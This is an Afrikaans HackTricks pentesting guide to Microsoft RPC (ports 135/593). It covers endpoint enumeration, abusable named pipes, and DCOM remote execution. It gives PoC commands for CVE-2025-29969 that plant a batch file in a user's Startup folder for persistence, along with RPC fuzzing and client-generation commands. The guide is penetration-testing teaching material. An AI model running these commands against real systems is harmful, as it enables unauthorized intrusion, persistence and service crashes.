135, 593 - Pentesting MSRPC
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die Microsoft Remote Procedure Call (MSRPC) protokol, ’n kliënt-bedienermodel wat ’n program in staat stel om ’n diens van ’n program wat op ’n ander rekenaar geleë is te versoek sonder om die netwerk se besonderhede te verstaan, is aanvanklik ontleen aan open-source sagteware en later deur Microsoft ontwikkel en met kopiereg beskerm.
Die RPC endpoint mapper kan bereik word via TCP- en UDP-poort 135, SMB op TCP 139 en 445 (with a null or authenticated session), en as ’n webdiens op TCP-poort 593.
135/tcp open msrpc Microsoft Windows RPC
Hoe werk MSRPC?
Initieer deur die kliënttoepassing, behels die MSRPC-proses die oproep van ’n plaaslike stub-prosedure wat daarna met die kliënt runtime-biblioteek interakteer om die versoek voor te berei en na die bediener te stuur. Dit sluit in om parameters na ’n standaard Network Data Representation-formaat om te skakel. Die keuse van vervoersprotokol word deur die runtime-biblioteek bepaal as die bediener op afstand is, wat verseker dat die RPC deur die netwerkstapel afgelewer word.

Identifisering van blootgestelde RPC-dienste
Die blootstelling van RPC-dienste oor TCP, UDP, HTTP en SMB kan bepaal word deur die RPC-lokaliseringdiens en individuele eindpunte te bevraagteken. Gereedskap soos rpcdump vergemaklik die identifisering van unieke RPC-dienste, aangedui deur IFID-waardes, en openbaar diensbesonderhede en kommunikasie-bindings:
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
Toegang tot die RPC locator-diens word moontlik gemaak deur spesifieke protokolle: ncacn_ip_tcp en ncadg_ip_udp vir toegang via poort 135, ncacn_np vir SMB-verbindinge, en ncacn_http vir webgebaseerde RPC-kommunikasie. Die volgende opdragte illustreer die gebruik van Metasploit-modules om MSRPC-dienste te ouditer en mee te kommunikeer, met hoofsaaklike fokus op poort 135:
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
All options except tcp_dcerpc_auditor are specifically designed for targeting MSRPC on port 135.
Noemenswaardige RPC-koppelvlakke
- IFID: 12345778-1234-abcd-ef00-0123456789ab
- Named Pipe:
\pipe\lsarpc - Description: LSA-koppelvlak, gebruik om gebruikers te lys.
- IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
- Named Pipe:
\pipe\lsarpc - Description: LSA Directory Services (DS)-koppelvlak, gebruik om domeine en vertrouensverhoudings te lys.
- IFID: 12345778-1234-abcd-ef00-0123456789ac
- Named Pipe:
\pipe\samr - Description: LSA SAMR-koppelvlak, gebruik om toegang tot openbare SAM-databasis-elemente (bv. gebruikersname) te kry en om gebruiker-wagwoorde te brute-force, ongeag die rekening-slotbeleid.
- IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
- Named Pipe:
\pipe\atsvc - Description: Task scheduler, gebruik om op afstand opdragte uit te voer.
- IFID: 338cd001-2244-31f1-aaaa-900038001003
- Named Pipe:
\pipe\winreg - Description: Remote registry service, gebruik om toegang tot die stelselregister te kry en dit te wysig.
- IFID: 367abb81-9844-35f1-ad32-98f038001003
- Named Pipe:
\pipe\svcctl - Description: Service control manager and server services, gebruik om dienste op afstand te begin en te stop en om opdragte uit te voer.
- IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
- Named Pipe:
\pipe\srvsvc - Description: Service control manager and server services, gebruik om dienste op afstand te begin en te stop en om opdragte uit te voer.
- IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
- Named Pipe:
\pipe\epmapper - Description: DCOM-koppelvlak, gebruik vir brute-force wagwoord-grinding en inligting-insameling via WM.
MS-EVEN (EventLog Remoting) primitiewe
Die MS-EVEN RPC-koppelvlak (named pipe \pipe\even) openbaar EventLog-operasies. SafeBreach’s CVE-2025-29969 (EventLog-in) ontleding wys ’n TOCTOU-fout in MS-EVEN wat ’n geauthentiseerde gebruiker met lae voorregte toelaat om ’n afgeleë arbitrêre lêerskryf op die teiken te veroorsaak: aanvaller-gekose inhoud word na ’n aanvaller-gekose pad geskryf sonder dat Administrator-regte vir die afgeleë skryf benodig word.
Bedryfsparadigma (PoC-werkvloei): plaas ’n geldige EVTX plus jou payload op ’n SMB share, en wedloop dan met die MS-EVEN-logika sodat die teiken die SMB-gehuisvesde lêer aflê en dit na die gekose pad skryf.
impacket-smbserver -smb2support Share /tmp/safebreach
Die gepubliseerde PoC gebruik ’n hard-coded SMB share name (Share), dus as jy dit verander, moet jy ook die skrip bywerk.
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"
’n Algemene ketting is om in die per-user Startup folder geplaas te word vir persistence en uitvoering by die volgende logon (die uitvoering vind plaas in daardie gebruiker se konteks).
MS-EVEN CreateFile-style primitief vir recon
MS-EVEN stel ook ’n file open/create primitief beskikbaar (beskryf in die PoC as CreateFile) wat deur enige geauthentiseerde gebruiker gebruik kan word om te probe of ’n remote file of directory bestaan. Dit is nuttig vir software discovery deur algemene install paths te kontroleer (bv., C:\Program Files\<Vendor>):
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Result:
FILE_EXISTS_AND_IS_DIRECTORY
Identifisering van IP-adresse
Deur https://github.com/mubix/IOXIDResolver te gebruik, wat van Airbus research afkomstig is, is dit moontlik om die ServerAlive2 metode binne die IOXIDResolver interface te misbruik.
Hierdie metode is gebruik om koppelvlak-inligting as IPv6 adres van die HTB boks APT te verkry. See here vir 0xdf APT writeup, dit sluit ’n alternatiewe metode in wat rpcmap.py van Impacket met stringbinding gebruik (sien hierbo).
Uitvoer van ’n RCE met geldige kredensiale
Dit is moontlik om afgeleë kode op ’n masjien uit te voer as die kredensiale van ’n geldige gebruiker beskikbaar is deur gebruik te maak van dcomexec.py van die impacket framework.
Onthou om met die verskillende beskikbare objekte te probeer
- ShellWindows
- ShellBrowserWindow
- MMC20
Poort 593
Die rpcdump.exe van rpctools kan met hierdie poort kommunikeer.
Outomatiese Fuzzing van MSRPC Interfaces
MS-RPC interfaces openbaar ’n groot en dikwels ongedokumenteerde aanvalsvlak. Die open-source MS-RPC-Fuzzer PowerShell module bou op James Forshaw’s NtObjectManager om dinamies RPC client-stubs te skep uit die interface-metadata wat reeds in Windows-binaries teenwoordig is. Sodra ’n stub bestaan, kan die module elke prosedure bombardeer met gemuteerde invoere en die uitslag log, wat reproduceerbare, grootskaalse fuzzing van RPC-endpoints moontlik maak sonder om ’n enkele reël van IDL te skryf.
1. Inventariseer die interfaces
# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1
# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output
# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output
Get-RpcServerData sal die UUID, weergawe, binding strings (named-pipe / TCP / HTTP) en volledige prosedureprototipes vir elke koppelvlak wat dit teëkom uittrek en dit stoor in rpcServerData.json.
2. Voer die fuzzer uit
'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100 -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999
Relevante opsies:
-MinStrLen/-MaxStrLen– grootte-reeks vir gegenereerde stringe-MinIntSize/-MaxIntSize– waarde-reeks vir gemuteerde heelgetalle (nuttig vir oorloop-toetsing)-Sorted– voer prosedures uit in ’n volgorde wat parameterafhanklikhede in ag neem, sodat uitsette van een oproep as insette van die volgende kan dien (verhoog dramaties die bereikbare paaie)
Die fuzzer implementeer 2 strategieë:
- Default fuzzer – ewekansige primitiewe waardes + standaardinstansies vir komplekse tipes
- Sorted fuzzer – afhanklikheidsbewuste ordening (sien
docs/Procedure dependency design.md)
Elke oproep word atomies na log.txt geskryf; na ’n crash dui die laaste reël onmiddellik watter prosedure die probleem veroorsaak het. Die resultaat van elke oproep word ook in drie JSON-lêers gekategoriseer:
allowed.json– oproep geslaag en het data teruggegeedenied.json– bediener het geantwoord met Access Deniederror.json– enige ander fout / crash
3. Visualiseer met Neo4j
'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j
Import-DataToNeo4j omskep die JSON-artefakte in ’n grafstruktuur waar:
- RPC-bedieners, koppelvlakke en prosedures is knope
- Interaksies (
ALLOWED,DENIED,ERROR) is verhoudings
Cypher queries kan dan gebruik word om vinnig gevaarlike prosedures op te spoor of om die presiese ketting van oproepe wat ’n crash voorafgegaan het, weer af te speel.
⚠️ Die fuzzer is vernietigend: verwag dat dienste sal ineenstort en selfs BSODs – voer dit altyd uit in ’n geïsoleerde VM-snapshot.
Automatiese koppelvlak-opsomming & dinamiese klientgenerering (NtObjectManager)
PowerShell-guru James Forshaw het die meeste van die Windows RPC-internals binne die open–source NtObjectManager module blootgestel. Daarmee kan jy enige RPC-server DLL / EXE binne sekondes omskakel na ’n fully-featured client stub – geen IDL, MIDL of handmatige unmarshalling benodig nie.
# Install the module once
Install-Module NtObjectManager -Force
# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures
# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *
Tipiese uitset openbaar parametertipes presies soos hulle in MIDL verskyn (bv. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).
Sodra jy die koppelvlak ken, kan jy ’n gereed-om-te-kompileer C# client genereer:
# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs
In die geproduseerde stub sal jy methods soos die volgende vind:
public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}
Die PowerShell helper Get-RpcClient kan ’n interaktiewe kliëntobjek skep sodat jy die prosedure onmiddellik kan aanroep:
$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType WinNT # NTLM auth
# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)
Outentisering (Kerberos / NTLM) en enkripsievlakke (PacketIntegrity, PacketPrivacy, …) kan direk voorsien word via die Connect-RpcClient cmdlet — ideaal om Security Descriptors te omseil wat high-privilege named pipes beskerm.
Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)
Statiese interface-kennis is goed, maar wat jy regtig wil hê, is coverage-guided fuzzing wat context handles en ingewikkelde parameterkettings verstaan. Die open-source MS-RPC-Fuzzer projek outomatiseer presies daardie workflow:
- Enumereer elke interface/procedure wat deur die teiken-binêre geëksporteer word (
Get-RpcServer). - Genereer dinamiese kliënte vir elke interface (
Format-RpcClient). - Randomiseer insetparameters (wide strings length, integer ranges, enums) terwyl die oorspronklike NDR type gerespekteer word.
- Volg context handles wat deur een oproep teruggegee word om opvolgprosedures outomaties te voorsien.
- Stuur hoë-volume oproepe teen die gekose transport (ALPC, TCP, HTTP of named pipe).
- Log uitsetstatusse / faults / timeouts en voer ’n Neo4j importlêer uit om interface → procedure → parameter verhoudings en crash clusters te visualiseer.
Voorbeeld-run (named–pipe target):
Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1 -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results
’ n Enkele out-of-bounds write of onverwagte uitsondering sal onmiddellik sigbaar wees met die presiese opnum + fuzzed payload wat dit veroorsaak het – ’n perfekte beginpunt vir ’n stabiele proof-of-concept exploit.
⚠️ Baie RPC-dienste word uitgevoer in prosesse wat as NT AUTHORITY\SYSTEM loop. Enige memory-safety issue hier vertaal gewoonlik na local privilege escalation of (wanneer blootgestel oor SMB/135) remote code execution.
Verwysings
- EventLogin-CVE-2025-29969 (SafeBreach-Labs)
- EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows
- Automating MS-RPC vulnerability research (2025, Incendium.rocks)
- MS-RPC-Fuzzer – context-aware RPC fuzzer
- NtObjectManager PowerShell module
- https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
- https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/
- https://0xffsec.com/handbook/services/msrpc/
- MS-RPC-Fuzzer (GitHub)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


